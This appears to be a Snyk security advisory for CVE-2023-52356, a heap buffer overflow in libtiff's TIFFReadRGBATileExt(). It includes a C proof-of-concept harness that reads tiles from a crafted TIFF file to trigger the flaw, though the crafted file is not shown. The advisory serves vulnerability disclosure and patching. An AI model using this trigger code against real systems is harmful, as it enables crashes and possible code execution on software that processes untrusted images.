Heap-based Buffer Overflow Affecting libtiff package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.15% (52nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-LIBTIFF-6209597
  • published30 Jan 2024
  • disclosed25 Jan 2024
  • creditPromptFuzz

Introduced: 25 Jan 2024

CVE-2023-52356  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow due to improper handling of crafted TIFF files in the TIFFReadRGBATileExt() API. An attacker can cause a crash and potentially execute arbitrary code by submitting a maliciously crafted TIFF file.

PoC

#include <stdio.h>
#include <stdint.h>
#include <tiffio.h>
#include <tiff.h>
int main()
{
    TIFF* in_tif = TIFFOpen("triger_input_47", "r");
    if (!in_tif) {
        return 0;
    }

    // Create variables for tile dimensions
    uint32_t tile_width = 0;
    uint32_t tile_height = 0;

    // Get tile dimensions
    TIFFDefaultTileSize(in_tif, &tile_width, &tile_height);

    // Complete the event using libtiff APIs
    uint32_t tile_size = TIFFVTileSize64(in_tif, tile_height);
    TIFFGetFieldDefaulted(in_tif, TIFFTAG_TILEWIDTH, &tile_width);
    TIFFGetFieldDefaulted(in_tif, TIFFTAG_TILELENGTH, &tile_height);
    uint32_t image_width;
    uint32_t image_height;
    TIFFGetFieldDefaulted(in_tif, TIFFTAG_IMAGEWIDTH, &image_width);
    TIFFGetFieldDefaulted(in_tif, TIFFTAG_IMAGELENGTH, &image_height);
    uint32_t num_tiles_x = (image_width + tile_width - 1) / tile_width;
    uint32_t num_tiles_y = (image_height + tile_height - 1) / tile_height;
    for (uint32_t y = 0; y < num_tiles_y; y++) {
        for (uint32_t x = 0; x < num_tiles_x; x++) {
            uint32_t* tile_buffer = (uint32_t*)_TIFFrealloc(NULL, tile_size);
            if (!tile_buffer) {
                TIFFClose(in_tif);
                return 0;
            }
            if (TIFFReadRGBATileExt(in_tif, x, y, tile_buffer, 0) != 0) {
                // Process the tile buffer
                // ...
            }
            else
            {
                printf("error\n");
            }
            _TIFFfree(tile_buffer);
        }
    }

    // Clean up
    TIFFClose(in_tif);
    return 0;
}

CVSS Scores

version 3.1